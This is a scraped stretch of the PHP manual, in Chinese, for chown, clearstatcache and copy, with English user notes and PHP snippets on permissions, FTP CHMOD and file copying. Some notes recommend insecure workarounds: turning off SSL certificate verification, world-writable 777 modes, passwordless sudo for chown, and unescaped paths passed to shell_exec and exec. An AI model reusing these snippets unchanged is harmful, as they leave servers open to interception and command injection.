For recursive chmod'ing both files and directories in one step you can use the function below. Note that this function has one argument for directory permissions and one for file permissions.
In this way you can apply the 'x' permission on directories, and skip it on directories. This function also skips links.

Example usage :

   chmod_R( 'mydir', 0666, 0777);

Makes all files and directories within mydir/ directory accessible for everyone, but doesn't make the files executable.

I guess for very deeply nested directories the recursion with php can become problematic, but I can be wrong because I never investigated this.

<?php
function chmod_R($path, $filemode, $dirmode) {
    if (is_dir($path) ) {
        if (!chmod($path, $dirmode)) {
            $dirmode_str=decoct($dirmode);
            print "Failed applying filemode '$dirmode_str' on directory '$path'\n";
            print "  `-> the directory '$path' will be skipped from recursive chmod\n";
            return;
        }
        $dh = opendir($path);
        while (($file = readdir($dh)) !== false) {
            if($file != '.' && $file != '..') {  // skip self and parent pointing directories
                $fullpath = $path.'/'.$file;
                chmod_R($fullpath, $filemode,$dirmode);
            }
        }
        closedir($dh);
    } else {
        if (is_link($path)) {
            print "link '$path' is skipped\n";
            return;
        }
        if (!chmod($path, $filemode)) {
            $filemode_str=decoct($filemode);
            print "Failed applying filemode '$filemode_str' on file '$path'\n";
            return;
        }
    }
}
?>
Andrey P. 01-Mar-2011 02:23
I was trying to change permissions of a folder with chmod command with FTP connection. (I needed a writable folder to upload pictures with php)

I got the following respond:
"SITE CHMOD 777 uploads: command not understood"

The reason: Server is running under Windows system that does not allow to set file permissions via FTP. Conversely, the UNIX-running servers allow that.

Solutions:

1. If your web hosting provider has a web-based control panel that lets you set file permissions, then you need to login there and make changes.

2. It is possible to contact the hosting provider and ask them about this issue; maybe they can make the changes.

3. It is possible to change the hosting provider that has servers run on UNIX, and keep the site there.
MethodicalFool 02-Sep-2010 09:46
BEWARE, a couple of the examples in the comments suggest doing something like this:

chmod(file_or_dir_name, intval($mode, 8));

However, if $mode is an integer then intval( ) won't modify it.  So, this code...

$mode = 644;
chmod('/tmp/test', intval($mode, 8));

...produces permissions that look like this:

1--w----r-T

Instead, use octdec( ), like this:

chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
Geoff W 08-Feb-2010 02:13
BEWARE using quotes around the second parameter...

If you use quotes eg

chmod (file, "0644");

php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal
sander 25-Jun-2009 11:06
if you want to chmod directories too, use this

<?php
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname), RecursiveIteratorIterator::SELF_FIRST);

foreach($iterator as $item) {
    chmod($item, $filemode);
}
?>
Anonymous 24-Dec-2008 02:14
Changes file mode recursive in $pathname to $filemode

<?php

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname));

foreach($iterator as $item) {
    chmod($item, $filemode);
}

?>
nicolas at infosoft dot inf dot br 07-Jul-2008 05:37
I use the code of haasje@welmers.net, but have a lite alteration. (linux symlink)

<?php
function chmod_R($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath))
                if (!chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmod_R($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
thanks alls
paul maybe at squirrel mail org 24-Apr-2008 05:09
Note that info at rvgate dot nl's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

<?php
      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
?>
Ambriel_Angel at www dot ambriels dot net/entry 25-Mar-2007 06:00
<?php
error_reporting(E_ERROR | E_PARSE);
/* Makes is so Directories are not browseable to the public,
removing only the Public = Read permission, while leaving
the other chmod permissions for the file in tact.

If you have exectue already on, and read off, public viewers will only
be able to view files through links, but not browse
around to see what's inside of directories and see what
you've got laying around. */
//-------------------------------------------------------
// Get file mode
// Get file permissions supported by chmod
function getmod($filename) {
   $val = 0;
   $perms = fileperms($filename);
   // Owner; User
   $val += (($perms & 0x0100) ? 0x0100 : 0x0000); //Read
   $val += (($perms & 0x0080) ? 0x0080 : 0x0000); //Write
   $val += (($perms & 0x0040) ? 0x0040 : 0x0000); //Execute

   // Group
   $val += (($perms & 0x0020) ? 0x0020 : 0x0000); //Read
   $val += (($perms & 0x0010) ? 0x0010 : 0x0000); //Write
   $val += (($perms & 0x0008) ? 0x0008 : 0x0000); //Execute

   // Global; World
   $val += (($perms & 0x0004) ? 0x0004 : 0x0000); //Read
   $val += (($perms & 0x0002) ? 0x0002 : 0x0000); //Write
   $val += (($perms & 0x0001) ? 0x0001 : 0x0000); //Execute

   // Misc
   $val += (($perms & 0x40000) ? 0x40000 : 0x0000); //temporary file (01000000)
   $val += (($perms & 0x80000) ? 0x80000 : 0x0000); //compressed file (02000000)
   $val += (($perms & 0x100000) ? 0x100000 : 0x0000); //sparse file (04000000)
   $val += (($perms & 0x0800) ? 0x0800 : 0x0000); //Hidden file (setuid bit) (04000)
   $val += (($perms & 0x0400) ? 0x0400 : 0x0000); //System file (setgid bit) (02000)
   $val += (($perms & 0x0200) ? 0x0200 : 0x0000); //Archive bit (sticky bit) (01000)

   return $val;
}

//-------------------------------------------------------
// Find out if file has mode
function hasmod($perms, $permission) {

# User Read = 0400 (256), Write = 0200 (128), Execute = 0100 (64)
# Group Read = 0040 (32), Write = 0020 (16), Execute = 0010 (8)
# Public Read = 0004 (4), Write = 0002 (2), Execute = 0001 (1)

    return (($perms & $permission) == $permission);
}

//-------------------------------------------------------
// Take the read option off of all the subdirectories of the included path
function pathlock($dir, $listall = false, $testrun = true) {
   echo "START @ " . date("F j, Y, h:i:s A") . "<br><br>";
   echo ($testrun ? '**Test Run Activated (no changes will be made).**<br><br>' : '**Live Run Activated.**<br><br>');
   echo $dir . " is our directory.<br><br>\n";
   echo "[...IN PROGRESS...]<br><br>";

   $file_list = '';
   $stack[] = $dir;

   while ($stack) {
      $current_dir = array_pop($stack);
      if ($dh = opendir($current_dir)) {
          while (($file = readdir($dh)) !== false) {
              if ($file !== '.' AND $file !== '..') {
                  $current_file = "{$current_dir}/{$file}";
               if (is_dir($current_file)) {
                      // BEG ADD PATH
                   $mode = getmod($current_file);    //Get the mode
                      $HasPubRead = hasmod($mode,4);
                   if ($HasPubRead || $listall) {    // Can the public read this dir?
                  //======================================
                    $ch = true;
                  $take = 0;
                       // Change the mode:
                     if ($HasPubRead) {
                          $take = 4;         // Value for Public Read. 4 is the same in octal and decimal.
                          if (!$testrun) {
                              $ch = chmod($current_file, $mode-$take);
                          }
                      }

                    echo $current_file . ",current=" . decoct($mode) .
                        (($mode!==$mode-$take) ? ",new=" . decoct($mode-$take) : '') .
                        ($ch ? '' : ',FAILED') . "<br>\n";
                   } // end if hasmod
                   // END ADD PATH
                      $stack[] = $current_file;
                  } // if if_dir
              } //if ($file !== '.' AND $file !== '..')
          } //while (($file = readdir($dh)) !== false)
      } //if ($dh = opendir($current_dir))
} // while ($stack)

    echo "<br>COMPLETE @ " . date("F j, Y, h:i:s A") . "<br>\n";
return;
   //return $path_list;
} // end function

//-------------------------------------------------------
    //listall Show all folders, even one's we're not going to process?
    //testrun Do a test run without making any changes
    pathlock($_SERVER["DOCUMENT_ROOT"],false,true); // listall?=false, testrun?=true

?>
webmaster at danopia dot 5gigs dot com 02-Jan-2007 06:20
Thanks for your code, "imoldgreg at o2 dot co dot uk". I am using it for an instalation script that has to CHMOD a bunch of files. I have found it faster to use the same connectino for each, as shown below.

<?php

// Thanks to "imoldgreg at o2 dot co dot uk" for the base 'CHMOD via FTP' script.

function chmod_open()
{
    // Use your own FTP info
    $ftp_user_name = 'chmod@XXXXXXXXX.com';
    $ftp_user_pass = 'XXXXXXXXXX';
    $ftp_root = '/';
    $ftp_server = 'localhost';
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    return $conn_id;
}

function chmod_file($conn_id, $permissions, $path)
{
    if (ftp_site($conn_id, 'CHMOD ' . $permissions . ' ' . $ftp_root . $path) !== false)
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}

function chmod_close($conn_id)
{
    ftp_close($conn_id);
}

// CHMOD the required setup files

// Connect to the FTP
$conn_id = chmod_open();

// CHMOD each file and echo the results
echo chmod_file($conn_id, 777, 'master/cache/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/files/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/store/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 766, 'master/config.php') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/images/avatars/upload/') ? 'CHMODed successfully!' : 'Error';

// Close the connection
chmod_close($conn_id);

?>

Here, the same FTP connection is used for each CHMOD command, making the execute time lower. This is essential for me, since my script is also copying a bunch of files.
imoldgreg at o2 dot co dot uk 30-Nov-2006 05:32
an update to 'neil at 11 out of 10's code for changing mode using FTP.

changes: proper array added within the function (better for those of us who only need to connect to one ftp server) so only the mode and directory name need to be passed.

the octal added, for completeness and predictable stability.

<?php
function changemode($xcite)
{
$ftp_details = array(
ftp_user_name => 'username',
ftp_user_pass => 'password',
ftp_user_root => '/public_html/',
ftp_server => 'ftp.something.org'
);

$path = "public";
$mod = intval($xcite, 8);

   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
    return $success;
}

?>

for those of you, like me, who were looking for a way to make an 'un-hackable' uploader, here's the closest i got, now for a field test, good luck!
masha at mail dot ru 10-Jul-2005 09:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
alex at feidesign dot com 01-Apr-2005 04:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
pmichaud at pobox dot com 19-Apr-2003 03:45
In the previous post, stickybit avenger writes:
    Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
    chmod("file",01777);   // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.


改变文件的所有者

  • ? chmod
  • clearstatcache ?
  • PHP Manual
  • 文件系统函数
  • 改变文件的所有者

chown

(PHP 4, PHP 5, PHP 7, PHP 8)

chown — 改变文件的所有者

说明

chown(string $filename, string|int $user): bool

尝试将文件 filename 的所有者改成用户 user（由用户名或用户 ID 指定）。 只有超级用户可以改变文件的所有者。

参数

filename

文件路径。

user

用户名或数字。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 简单的 chown() 用法

<?php

// 要使用的文件名和用户名
$file_name= "foo.php";
$path = "/home/sites/php.net/public_html/sandbox/" . $file_name ;
$user_name = "root";

// 设置用户
chown($path, $user_name);

// 检测结果
$stat = stat($path);
print_r(posix_getpwuid($stat['uid']));

?>

以上示例的输出类似于：

Array
(
    [name] => root
    [passwd] => x
    [uid] => 0
    [gid] => 0
    [gecos] => root
    [dir] => /root
    [shell] => /bin/bash
)

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 在 Windows 上对普通文件使用此函数会静默失败。

参见

  • chmod() - 改变文件模式
  • chgrp() - 改变文件所属的组

User Contributed Notes

rickard at 0x539 dot se 18-Jun-2009 02:04
For most modern Linux systems your apache user should not be run as root, and in order to change the ownership of a file or directory, you need to be root. To get around this problem you can use sudo, but be careful with what permissions you give. Here is an example which is working for me:

www-data        ALL = NOPASSWD: /bin/chown 1[1-9][0-9][0-9]\:1[1-9][0-9][0-9] /home/www/[a-zA-Z0-9]*

This allows the apache server to change ownership of files in /home/www with name containing a-z, A-Z or numbers (note: no subdirectories). The only valid input of userid is a four digit numeric id, between 1100 and 1999.

Hope this helps.
Mikevac at yahoo dot com 01-Feb-2008 11:42
I've only tested this on Solaris 10 so your mileage may vary.

To allow the apache daemon to change file ownership without being root, add the following line to /etc/system:

set rstchown=0

Reboot the server.

There are security concerns doing this as this modification allows any user to change ownership of their files to anyone else.
Tayfun Bilsel 11-Jan-2006 08:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
greg _at_ rhythmicdesign d.o.t com 23-Feb-2004 04:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
    $d = opendir ($mypath) ;
    while(($file = readdir($d)) !== false) {
        if ($file != "." && $file != "..") {

            $typepath = $mypath . "/" . $file ;

            //print $typepath. " : " . filetype ($typepath). "<BR>" ;
            if (filetype ($typepath) == 'dir') {
                recurse_chown_chgrp ($typepath, $uid, $gid);
            }

            chown($typepath, $uid);
            chgrp($typepath, $gid);

        }
    }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Klaus Zierer 27-Jun-2003 08:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl 20-Jun-2003 07:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com 21-Sep-2000 11:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.


清除文件状态缓存

  • ? chown
  • copy ?
  • PHP Manual
  • 文件系统函数
  • 清除文件状态缓存

clearstatcache

(PHP 4, PHP 5, PHP 7, PHP 8)

clearstatcache — 清除文件状态缓存

说明

clearstatcache(bool $clear_realpath_cache = false, string $filename = ""): void

当使用 stat()，lstat() 或者任何列在受影响函数表（见下面）中的函数时，PHP 将缓存这些函数的返回信息以提供更快的性能。然而在某些情况下，你可能想清除被缓存的信息。例如如果在一个脚本中多次检查同一个文件，而该文件在此脚本执行期间有被删除或修改的危险时，你需要清除文件状态缓存。这种情况下，可以用 clearstatcache() 函数来清除被 PHP 缓存的该文件信息。

必须注意的是，对于不存在的文件，PHP 并不会缓存其信息。所以如果调用 file_exists() 来检查不存在的文件，在该文件没有被创建之前，它都会返回 false。如果该文件被创建了，就算以后被删除，它都会返回 true 函数 unlink() 会自动清除该缓存.

Note:

本函数缓存特定文件名的信息，因此只在对同一个文件名进行多次操作并且需要该文件信息不被缓存时才需要调用 clearstatcache()。

受影响的函数包括
stat()，
lstat()，
file_exists()，
is_writable()，
is_readable()，
is_executable()，
is_file()，
is_dir()，
is_link()，
filectime()，
fileatime()，
filemtime()，
fileinode()，
filegroup()，
fileowner()，
filesize()，
filetype()
和 fileperms()。

参数

clear_realpath_cache

是否也清除真实路径缓存

filename

仅清除指定文件名的真实路径缓存; 只在 clear_realpath_cache 为 true 时启用。

返回值

没有返回值。

示例

Example #1 clearstatcache() 例子

<?php
$file = 'output_log.txt';

function get_owner($file)
{
$stat = stat($file);
$user = posix_getpwuid($stat['uid']);
return $user['name'];
}

$format = "UID @ %s: %s\n";

printf($format, date('r'), get_owner($file));

chown($file, 'ross');
printf($format, date('r'), get_owner($file));

clearstatcache();
printf($format, date('r'), get_owner($file));
?>

以上示例的输出类似于：

UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross

User Contributed Notes

vechenjivot at gmail dot com 03-Jul-2020 06:09
Not documented, but seems like clearstatcache() is clearing the cache only for the process it is being called from. I have 2 PHP scripts running simultaneously, and the first one does call clearstatcache(), but still the second one deadlocks, unless I call clearstatcache() in it too:

script1:
<?php
    touch('system.lock');
    ...
    unlink('system.lock');
    clearstatcache(); // should be done by unlink?
?>

script2:
<?php
    while (is_file('system.lock') {
        sleep(1);
        clearstatcache(); // without this, script 2 will deadlock forever!
    }
?>

I also found this page, which leads to the same conclusion:
https://stackoverflow.com/questions/9251237/clearstatcache-include-path-sessions
msaladna at apisnetworks dot com 10-Dec-2019 11:10
clearstatcache() does not canonicalize the path. clearstatcache(true, "/a/b/c") is different from clearstatcache(true, "/a/b//c").
Gabriel 18-Dec-2018 04:03
Definition of $filename parameter let's you think that it expects the filename only but it works if you give the path + filename also.

It should be more clear about this.
David Spector 07-Dec-2018 01:48
Note that this function affects only file metadata. However, all the PHP file system functions do their own caching of actual file contents as well. You can use the "realpath_cache_size = 0" directive in PHP.ini to disable the content caching if you like. The default content caching timeout is 120 seconds.

Content caching is not a good idea during development work and for certain kinds of applications, since your code may read in old data from a file whose contents you have just changed.

Note: This is separate from the caching typically done by browsers for all GET requests (the majority of Web accesses) unless the HTTP headers override it. It is also separate from optional Apache server caching.
bj at wjblack dot com 22-Jan-2015 02:36
Just to make this more obvious (and so search engines find this easier):

If you do fileops of any kind outside of PHP (say via a system() call), you probably want to clear the stat cache before doing any further tests on the file/dir/whatever.  For example:

<?php
// is_dir() forces a stat call, so the cache is populated
if( is_dir($foo) ) {
    system("rm -rf " . escapeshellarg($foo));
    if( is_dir($foo) ) {
        // ...will still be true, even if the rm succeeded, because it's just
        // reading from cache, not re-running the stat()
    }
}
?>

Pop a clearstatcache() after the system call and all is good (modulo a bit of a performance hit from having a cleared stat cache :-( ).
matt_m at me dot com 23-Sep-2011 03:04
unlink() does not clear the cache if you are performing file_exists() on a remote file like:

<?php
if (file_exists("ftp://ftp.example.com/somefile"))
?>

In this case, even after you unlink() successfully, you must call clearstatcache().

<?php
unlink("ftp://ftp.example.com/somefile");
clearstatcache();
?>

file_exists() then properly returns false.
markandrewslade at gmail dot com 08-Mar-2010 11:54
On Linux, a forked process inherits a copy of the parent's cache, but after forking the two caches do not impact each other.  The snippet below demonstrates this by creating a child and confirming outdated (cached) information, then clearing the cache, and getting new information.

<?php

function report($directory, $prefix = '') { printf('%sDoes %s exist?  PHP says "%s"'. PHP_EOL, $prefix, $directory, is_dir($directory) ? 'yes' : 'no'); }
$target = './delete-me-before-running-statcache';

if (is_dir($target)) {
    die("Delete $target before running.\n");
}

echo "Creating $target.\n";
mkdir($target) || die("Unable to create $target.\n");
report($target); // is_dir($target) is now cached as true

echo "Unlinking $target.\n";
rmdir($target) || die("Unable to unlink $target.\n");

// This will say "yes", which is old (inaccurate) information.
report($target);

if (($pid = pcntl_fork()) === -1) { die("Failed to pcntl_fork.\n"); }
elseif ($pid === 0) {
    // child
    report($target, '<<child>> ');
    echo "<<child>> Clearing stat cache.\n";
    clearstatcache();
    report($target, '<<child>> ');
} else {
    // parent
    sleep(2); // move this to the child block to reverse the test.
    report($target, '<<<parent>> ');
    clearstatcache();
    report($target, '<<<parent>> ');
}

?>


拷贝文件

  • ? clearstatcache
  • delete ?
  • PHP Manual
  • 文件系统函数
  • 拷贝文件

copy

(PHP 4, PHP 5, PHP 7, PHP 8)

copy — 拷贝文件

说明

copy(string $from, string $to, ?resource $context = null): bool

将文件从 from 拷贝到 to。

如果要移动文件的话，请使用 rename() 函数。

参数

from

源文件路径。

to

目标路径。如果 to 是一个 URL，则如果封装协议不支持覆盖已有的文件时拷贝操作会失败。

Warning

如果目标文件已存在，将会被覆盖。

context

A valid context resource created with stream_context_create().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 copy() 例子

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
echo "failed to copy $file...\n";
}
?>

参见

  • move_uploaded_file() - 将上传的文件移动到新位置
  • rename() - 重命名一个文件或目录
  • The section of the manual about handling file uploads

User Contributed Notes

Anonymous 21-Apr-2023 02:36
If you get ssl errors for apps running on an unproperly configured server and have no way to fix the server configuration, this would be a  temproraly workaround.
//Disable ssl verification in order to avoid ssl error
            $contextOptions = array(
                "ssl" => array(
                "verify_peer" => false,
                "verify_peer_name" => false,
                ),);
            copy($filename, $attachFileName,stream_context_create($contextOptions));
someone at terrasim dot com 30-Sep-2021 06:44
On Windows, php-7.4.19-Win32-vc15-x64 - copy() corrupted a 6GB zip file. Our only recourse was to write:

function file_win_copy( $src, $dst ) {
 shell_exec( 'COPY "'.$src.'" "'.$dst.'"');
 return file_exists($dest);
}
mishawagon at gmail dot com 05-Mar-2019 06:26
Copy failed for me until I added dirname(__FILE__) to the file paths.
copy(dirname(__FILE__).$tempdata,dirname(__FILE__).$filepath)
2mobile at gmail dot com 04-Feb-2017 09:51
If you have problems with "failed to open stream: Permission denied"

Check if the user that PHP runs under have "X" permission on every directory of the file path.
It will need it to access the file

If your file is: /path/to/test-in.txt
You should have X permission on:

/path
/path/to
and read permission on /path/to/test-in.txt
Vinicio Coletti 26-Dec-2015 11:03
Copying large files under Windows 8.1, from one NTFS filesystem to another NTFS filesystem, results in only the first 4 GiB copied and the rest of the file is ignored.

So, if you think to have files larger than 4 GiB, instead of doing:
   copy($source,$destination);
it is much better to do something like:
   exec("xcopy $source $destination");

I will check to see if this issue is valid also under Linux.
It depends on PHP not being compiled in 64 bit mode?
hugo_2000 at gmx dot at 26-Jun-2015 02:43
If you try to copy a file to itself - e.g. if the target directory is just a symlink to the source directory - copy will return false. just like on the command line.
Bas Vijfwinkel 20-May-2015 07:09
Paths and filenames with Japanese characters are not handled correctly if you are running Apache/PHP on a Windows machine.
With the following code you can convert e.g. the network path to the appropriate encoding so that Windows understands where to look:

<?PHP

function convertPath($path)
{
    //split networkpath into parts
    $parts = explode('\\',$path);
    // convert each part to SJIS
    foreach($parts as $index => $part)
    {
         $parts[$index] = iconv('UTF-8','SJIS//IGNORE',$part);
    }
    // put the network path back together
    return implode('\\',$parts);
}

$oldname = convertPath('c:/Temp/ほげほげ.pdf');
$newname  = convertPath('\\\\PFSV0100\\DATA\\06：個人別\\333328_ほげほげ\\test_あいうえお.pdf');

copy($oldname, $newname);
?>

There are however a number of characters that cannot be converted correctly like '②' and '﨑' because there are no SJIS equivalents.
ASchmidt at Anamera dot net 28-May-2014 01:49
Below a code snippet for downloading a file from a web server to a local file.

It demonstrates useful customizations of the request (such as setting a User-Agent and Referrer, often required by web sites), and how to download only files if the copy on the web site is newer than the local copy.

It further demonstrates the processing of response headers (if set by server) to determine the timestamp and file name. The file type is checked because some servers return a 200 OK return code with a textual "not found" page, instead of a proper 404 return code.

<?php
// $fURI:         URL to a file located on a web server
// $target_file:    Path to a local file

if ( file_exists( $target_file ) ) {
    $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
}
else {
    $ifmodhdr = '';
}

// set request header for GET with referrer for modified files, that follows redirects
$arrRequestHeaders = array(
    'http'=>array(
        'method'        =>'GET',
        'protocol_version'    =>1.1,
        'follow_location'    =>1,
        'header'=>    "User-Agent: Anamera-Feed/1.0\r\n" .
                     "Referer: $source\r\n" .
            $ifmodhdr
            )
        );
$rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) );

// HTTP request completed, preserve system error, if any
if( $rc ) {
    if ( fclose( $rc ) ) {
        unset( $err );
    }
    else {
        $err = error_get_last();
    }
}
else {
    $err = error_get_last();
}

// Parse HTTP Response Headers for  HTTP Status, as well filename, type, date information
// Need to start from rear, to get last set of headers after possible sets of redirection headers
if ( $http_response_header ) {
    for ( $i = sizeof($http_response_header) - 1; $i >= 0; $i-- ) {
        if ( preg_match('@^http/\S+ (\S{3,}) (.+)$@i', $http_response_header[$i], $http_status) > 0 ) {
            // HTTP Status header means we have reached beginning of response headers for last request
            break;
        }
        elseif ( preg_match('@^(\S+):\s*(.+)\s*$@', $http_response_header[$i], $arrHeader) > 0 ) {
            switch ( $arrHeader[1] ) {
                case 'Last-Modified':
                    if ( !isset($http_content_modtime) ) {
                        $http_content_modtime = strtotime( $arrHeader[2] );
                    }
                    break;
                case 'Content-Type':
                    if ( !isset($http_content_image_type) ) {
                        if ( preg_match('@^image/(\w+)@ims', $arrHeader[2], $arrTokens) > 0 ) {
                            if ( in_array(strtolower($arrTokens[1]), $arrValidTypes)) {
                                $http_content_image_type = $arrTokens[1];
                                break;
                            }
                        }
                        throw new Exception( "Error accessing file $fURI; invalid content type: $arrHeader[2]", 2);
                    }
                    break;
                case 'Content-Disposition':
                    if ( !isset($http_content_filename) && preg_match('@filename\\s*=\\s*(?|"([^"]+)"|([\\S]+));?@ims', $arrHeader[2], $arrTokens) > 0 ) {
                        $http_content_filename = basename($arrTokens[1]);
                    }
                    break;
            }
        }
    }
}

if ( $http_status ) {
    // Make sure we have good HTTP Status
    switch ( $http_status[1] ) {
        case '200':
            // SUCCESS: HTTP Status is "200 OK"
            break;
        case '304':
            throw new Exception( "Remote file not newer: $fURI", $http_status[1] );
            break;
        case '404':
            throw new Exception( "Remote file not found: $fURI", $http_status[1] );
            break;
        default:
            throw new Exception( "HTTP Error, $http_status[2], accessing $fURI", $http_status[1] );
            break;
    }
}
elseif ( $err ) {
    // Protocol / Communication error
    throw new Exception( $err['message']/*."; Remote file: $fURI"*/, $err['type'] );
}
else {
    // No HTTP status and no error
    throw new customException( "Unknown HTTP response accessing $fURI: $http_response_header[0]", -1 );
}
?>

Notes:
1. Currently copy() does NOT appropriately handle the 304 response code. Instead of NOT performing a copy (possibly setting the RC), it will overwrite the target file with an zero length file.
2. There may be a problem accessing a list of remote files when HTTP 1.1 protocol is used. If you experience time-out errors, try the default 1.0 protocol version.
absorbentshoulderman at gmail dot com 03-Apr-2013 12:51
A nice simple trick if you need to make sure the folder exists first:

<?php

$srcfile='C:\File\Whatever\Path\Joe.txt';
$dstfile='G:\Shared\Reports\Joe.txt';
mkdir(dirname($dstfile), 0777, true);
copy($srcfile, $dstfile);

?>

That simple.
promaty at gmail dot com 17-May-2011 11:13
Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file.

I am using these for managing folders and zip archives for my website plugins.

<?php

// removes files and non-empty directories
function rrmdir($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rrmdir("$dir/$file");
    rmdir($dir);
  }
  else if (file_exists($dir)) unlink($dir);
}

// copies files and non-empty directories
function rcopy($src, $dst) {
  if (file_exists($dst)) rrmdir($dst);
  if (is_dir($src)) {
    mkdir($dst);
    $files = scandir($src);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rcopy("$src/$file", "$dst/$file");
  }
  else if (file_exists($src)) copy($src, $dst);
}
?>

Cheers!
cory at veck dot ca 29-Apr-2011 11:17
My own 'cp -R' written in PHP.

Hopefully it will work for your situation. I'm using it in a web based file manager for my CMS.

<?php

    define('DS', DIRECTORY_SEPARATOR); // I always use this short form in my code.

    function copy_r( $path, $dest )
    {
        if( is_dir($path) )
        {
            @mkdir( $dest );
            $objects = scandir($path);
            if( sizeof($objects) > 0 )
            {
                foreach( $objects as $file )
                {
                    if( $file == "." || $file == ".." )
                        continue;
                    // go on
                    if( is_dir( $path.DS.$file ) )
                    {
                        copy_r( $path.DS.$file, $dest.DS.$file );
                    }
                    else
                    {
                        copy( $path.DS.$file, $dest.DS.$file );
                    }
                }
            }
            return true;
        }
        elseif( is_file($path) )
        {
            return copy($path, $dest);
        }
        else
        {
            return false;
        }
    }

?>
eng-ayman at aymax dot net 30-Aug-2009 05:48
some hosts disable copy() function and say its for security

and for some copy is important so this is and simple function that do same as copy function effect

how smart php can help us l like php

<?php
    function copyemz($file1,$file2){
          $contentx =@file_get_contents($file1);
                   $openedfile = fopen($file2, "w");
                   fwrite($openedfile, $contentx);
                   fclose($openedfile);
                    if ($contentx === FALSE) {
                    $status=false;
                    }else $status=true;

                    return $status;
    }
?>
Sina Salek 02-Jun-2009 05:02
Thanks for all the comments, i wrote this function for fully supporting file and directory copy.
As you may have noticed there are feature that didn't have time to implement , but if you have time to implement them or even add more cool features, please notify me as well :). you can find me here http://sina.salek.ws/en/contact

PS : It was very useful for me, hope you find it useful as well.

<?php
